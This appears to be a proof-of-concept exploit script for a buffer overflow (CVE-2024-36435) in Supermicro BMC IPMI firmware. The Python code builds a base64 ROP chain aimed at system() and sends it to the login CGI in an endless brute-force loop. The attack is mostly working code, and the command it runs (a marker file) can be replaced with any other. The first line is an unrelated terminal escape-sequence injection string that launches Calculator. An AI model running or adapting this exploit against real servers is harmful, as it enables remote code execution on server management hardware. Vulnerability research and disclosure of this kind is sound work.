]2;s&open -aCalculator&[21t  P1000p%session-changed  s

# CVE-2024-36435 – Buffer overflow vulnerability in Supermicro BMC IPMI firmware due to unchecked length of user-supplied value

import base64
import requests

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# set target and command values
target = "https://192.168.10.53:443/cgi/login.cgi"
command = "touch /tmp/BRLY"

libc_base = 0x76283000  # we try to guess
gadget_1_offset = 0x000D8874  # pop {r0, r1, r2, r3, fp, pc};
gadget_2_offset = 0x001026D4  # mov r0, sp; blx r3;
system_offset = 0x0003C4D4

print(f"Target: {target}")
print(f"Command: {command}")
print()
print(f"libc_base: {libc_base:#x}")
print(f"gadget_1_offset: {gadget_1_offset:#x}")
print(f"gadget_2_offset: {gadget_2_offset:#x}")
print(f"system_offset: {system_offset:#x}")
print()


payload = base64.b64encode(
    b"\x00" * 456
    + int.to_bytes(libc_base + gadget_1_offset, 4, "little")  # gadget_1
    + b"\x00" * 12
    + int.to_bytes(libc_base + system_offset, 4, "little")  # system
    + b"\x00" * 4
    + int.to_bytes(libc_base + gadget_2_offset, 4, "little")  # gadget_2
    + command.encode()
).decode()

data = f"name={payload}&pwd=&check=1"

print("Sending requests...")
i = 0
while True:
    print(f"Request: '{i}'")
    r = requests.post(target, data=data, verify=False)
    i += 1